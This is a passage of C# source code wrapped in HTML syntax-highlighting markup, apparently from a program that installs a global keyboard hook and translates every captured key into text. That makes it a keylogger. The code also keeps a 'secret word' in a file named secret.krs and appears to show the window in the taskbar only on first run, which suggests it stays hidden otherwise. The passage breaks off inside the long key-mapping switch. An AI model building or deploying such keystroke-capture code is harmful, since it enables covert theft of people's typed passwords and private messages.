                TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// read a line of text</span>
                secretWord <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadLine</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// close the stream</span>
                tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
            <span style="color: #0600FF;">else</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
                File.<span style="color: #0000FF;">Create</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> WriteSecretWord<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// create a writer and open the file</span>
            TextWriter tw <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamWriter<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// write a line of text to the file</span>
            tw.<span style="color: #0000FF;">Write</span><span style="color: #000000;">&#40;</span>textBox1.<span style="color: #0000FF;">Text</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tw.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> button1_Click<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            Hook.<span style="color: #0000FF;">CreateHook</span><span style="color: #000000;">&#40;</span>KeyReaderr<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            button2.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            button1.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> KeyReaderr<span style="color: #000000;">&#40;</span>IntPtr wParam, IntPtr lParam<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #FF0000;">int</span> key <span style="color: #008000;">=</span> Marshal.<span style="color: #0000FF;">ReadInt32</span><span style="color: #000000;">&#40;</span>lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            Hook.<span style="color: #0000FF;">VK</span> vk <span style="color: #008000;">=</span> <span style="color: #000000;">&#40;</span>Hook.<span style="color: #0000FF;">VK</span><span style="color: #000000;">&#41;</span>key<span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #FF0000;">String</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">switch</span> <span style="color: #000000;">&#40;</span>vk<span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F1</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F1-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F2</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F2-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F3</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F3-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F4</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F4-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F5</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F5-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F6</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F6-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F7</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F7-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F8</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F8-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F9</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F9-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F10</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F10-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F11</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F11-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F12</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F12-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMLOCK</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-numlock-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SCROLL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-scroll&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_LSHIFT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-left shift-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RSHIFT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-right shift-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_LCONTROL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-left control-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RCONTROL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-right control-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SEPERATOR</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;|&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SUBTRACT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;-&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DECIMAL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;.&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DIVIDE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;/&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD0</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;0&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD1</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;1&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD2</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;2&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD3</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;3&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD4</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;4&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD5</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;5&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD6</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;6&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD7</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;7&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD8</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;8&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD9</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;9&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_Q</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;q&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_W</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;w&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_E</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;e&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_R</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;r&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_T</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;t&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_Y</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;y&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_U</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;u&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_I</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;i&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_O</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;o&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_P</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;p&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_A</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;a&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_S</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;s&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_D</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;d&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;f&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_G</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;g&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_H</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;h&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_J</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;j&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_K</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;k&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_L</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;l&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_Z</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;z&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_X</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;x&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_C</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;c&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_V</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;v&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_B</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;b&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_N</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;n&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_M</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;m&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_0</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;0&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_1</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;1&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_2</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;2&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_3</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;3&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_4</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;4&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_5</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;5&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_6</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;6&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_7</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;7&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_8</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;8&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_9</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;9&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SNAPSHOT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-print screen-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_INSERT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-insert-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DELETE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-delete-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_BACK</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-backspace-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_TAB</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-tab-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RETURN</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-enter-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_PAUSE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-pause-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_CAPITAL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-caps lock-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_ESCAPE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-esc-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SPACE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-space-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_PRIOR</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-page up-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NEXT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-page down-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_END</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-end-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_HOME</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-home-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
